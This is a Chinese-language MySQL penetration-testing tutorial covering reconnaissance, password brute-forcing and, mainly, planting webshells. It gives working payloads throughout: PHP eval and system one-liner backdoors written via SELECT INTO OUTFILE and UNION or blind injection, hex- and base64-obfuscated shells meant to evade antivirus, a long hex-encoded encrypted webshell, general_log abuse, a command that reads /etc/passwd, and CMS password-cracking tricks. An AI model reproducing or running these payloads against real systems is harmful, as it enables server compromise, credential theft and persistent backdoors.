一、Mysql 信息收集

1. 端口信息收集

Mysql默认端口是3306端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:
(1)iisputter,直接填写3306端口,IP地址填写单个或者C端地址。
(2) nmap 扫描 nmap -p 3306 192.168.1.1-254
特定目标的渗透,可能需要对全端口进行扫描,可以使用nmap对某一个IP地址进行全端口扫描,端口扫描软件还有Sfind等dos下扫描的工具。

2. 版本信息收集:

(1) msf 查看版本信息 auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:
use auxiliary/scanner/mysql/mysql_version set rhosts 192.168.157.130 run

(2)mysql查询版本命令:
SELECT @@version 、SELECT version();

(3)sqlmap通过注入点扫描确认信息:
sqlmap.py -u url —dbms mysql

(4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。

  1. 数据库管理信息收集
    Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码的信息。
  1. MSF 信息收集模块
    (1) Mysql 哈希值枚举
    1. use auxiliary/scanner/mysql/mysql_hashdump
    2. set username root
    3. set password root
    4. run

(2)获取相关信息

  1. use auxiliary/admin/mysql/mysql_enum
  2. set username root
  3. set password root
  4. run

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

(3)执行mysql语句,连接成功后可以在 MSF 中执行sql语句,跟 sqlmap 的 —sql-shell 模块类似。
use auxiliary/admin/mysql/mysql_sql

(4)将mysql_schema 导出到本地/root/
use auxiliary/admin/mysql/mysql_sql

(5)文件枚举和目录可写信息枚举
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs
没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。

二、Mysql 密码获取

Mysql 暴力破解主要有几种:

(一) 暴力破解

1、网页在线连接破解:

可以使用burpsuite 和 phpMyAdmin 多线程批量破解工具。下载:https://portswigger.net/burp/http://pan.baidu.com/s/1c1LD6co

2.msf通过命令行进行暴力破解

msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,
其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。
对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它参数根据实际情况进行设置。

(1)场景A:对内网获取root某一个口令后,扩展渗透

  1. use auxiliary/scanner/mysql/mysql_login
  2. set RHOSTS 192.168.157.1-254
  3. set password root
  4. set username root
  5. run

执行后对192.168.157.1-254进行mysql密码扫描验证。

(2)场景B:使用密码字典进行扫描

  1. use auxiliary/scanner/mysql/mysql_login
  2. set RHOSTS 192.168.157.1-254
  3. set pass_file /tmp/password.txt
  4. set username root
  5. run

3. 使用nmap扫描并破解密码

(1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描
nmap —script=mysql-brute 192.168.157.130
nmap —script=mysql-brute 192.168.157.1-254

(2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息
nmap -sV —script=mysql-databases —script-argsmysqluser=root,mysqlpass=root 192.168.157.130

(3)检查root空口令
nmap —script mysql-empty-password 192.168.195.130

4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。

(二) 源代码泄露:

1. 网站源代码备份文件:

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。

2.配置备份文件

使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。

(三) 文件包含

本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

(四) 其他情况

有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。

三、Mysql获取 webshell

(一)、获取webshell

  1. phpmyadmin root 账号读取webshell
    MysqlRoot账号通过phpMyAdmin获取webshell的思路,主要有下面几种方 式,以第一二六八种方法较佳,其它可以根据实际情况来进行。

1、直接读取后门文件

通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过load_file直接读取。

2、直接导出一句话后门

前提需要知道网站的真实物理路径,例如呼求偶真实路径D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件cmd.php,访问地址http://www.secfree.com/cmd.php
select ‘<?php @eval($_POST[antian365]);?>’INTO OUTFILE ‘D:/work/WWW/antian365.php’

3、创建数据库导出一句话后门

在查询窗口直接执行以下代码即可,跟2.原理类似。

  1. CREATE TABLE test( id text(500) not null);
  2. INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
  3. select id from test into outfile 'E:/phpstudy_pro/WWW/1.php'
  4. DROP TABLE IF EXISTS test

4、利用Union select 写入

这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
?id=1 union select 1,”<?php @eval($_POST[‘g’]);?>”,3 into outfile ‘E:/study/WWW/evil.php’
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile “E:/study/WWW/evil.php”

5、利用分隔符写入

当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 —os-shell命令,所采用的就是一下这种方式。
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
?id=1 LIMIT 0,1 INTO OUTFILE ‘E:/study/WWW/evil.php’ lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 —
同样的技巧,一共有四种形式:
?id=1 INTO OUTFILE ‘物理路径’ lines terminated by (一句话hex编码)# 在每行末尾添加内容
?id=1 INTO OUTFILE ‘物理路径’ fields terminated by (一句话hex编码)# 在每个字段添加内容分割
?id=1 INTO OUTFILE ‘物理路径’ columns terminated by (一句话hex编码)# 可能是添加字段吧
?id=1 INTO OUTFILE ‘物理路径’ lines starting by (一句话hex编码)# 在每行开始添加 内容

6.可执行命令方式

创建执行命令形式的shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)。
select ‘<?php echo \’

  1. \’;system($_GET[\’cmd\’]); echo \’
\’; ?>’ INTO OUTFILE ‘d:/www/antian365.php’

另外在linux下可以导出直接执行命令的shell:
SELECT ‘<? system($_GET[\’c\’]); ?>’ INTO OUTFILE ‘/var/www/shell.php’;

http://localhost/shell.php?c=cat%20/etc/passwd

7.过杀毒软件方式

通过后台或者存在上传图片的地方,上传图片publicguide.jpg,内容如下:
<?php$a=’ PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=’;error_reporting(0);@set_time_limit(0);eval(“?>”.base64_decode($a));?>

然后通过图片包含temp.php,导出webshell。
select ‘<?php include ‘publicguide.jpg’ ?>’INTO OUTFILE ‘D:/work/WWW/antian365.php’
一句话后门密码:antian365

8.直接导出加密webshell

一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改D:/WEB/IPTEST/22.php。

select unhex(‘203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E’) into dumpfile ‘D:/WEB/IPTEST/22.php’

注意:
也可以使用http://tool.lu/hexstr/网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入unhex函数进行查询即可:
select unhex(‘十六进制字符串’) into dumpfile ‘D:/WEB/shell.php’

9.CMS系统获取webshell

有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话webshell,可以通过CMS系统管理账号登录系统后,寻找漏洞来突破,例如dedecms则可以通过破解管理员账号后直接上传文件来获取webshell。Discuz!的UC_key可以直接获取webshell。甚至某些系统可以直接上传php文件。下面是一些CMS系统渗透的技巧:
(1)dedecms系统的密码有直接md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;
(2)phpcms v9版本的密码需要加salt进行破解,需要选择破解算法md5(md5($pass).$salt)进行破解。
(3)Discuz!论坛帐号保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如a0513df9929afc972f024fa4e586e829:399793。

10. general_log_file获取webshell

(1)查看genera文件配置情况
show global variables like “%genera%”;

(2)关闭general_log
set global general_log=off;

(3)通过general_log选项来获取webshell
set global general_log=’on’;
SET global general_log_file=’D:/phpStudy/WWW/cmd.php’;

在查询中执行语句:
SELECT ‘<?php assert($_POST[“cmd”]);?>’;
Shell为cmd.php,一句话后门,密码为cmd。

(二) sqlmap注入点获取webshell

sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令来获取:
sqlmap -u url—os-shell
echo “” >/data/www/1.php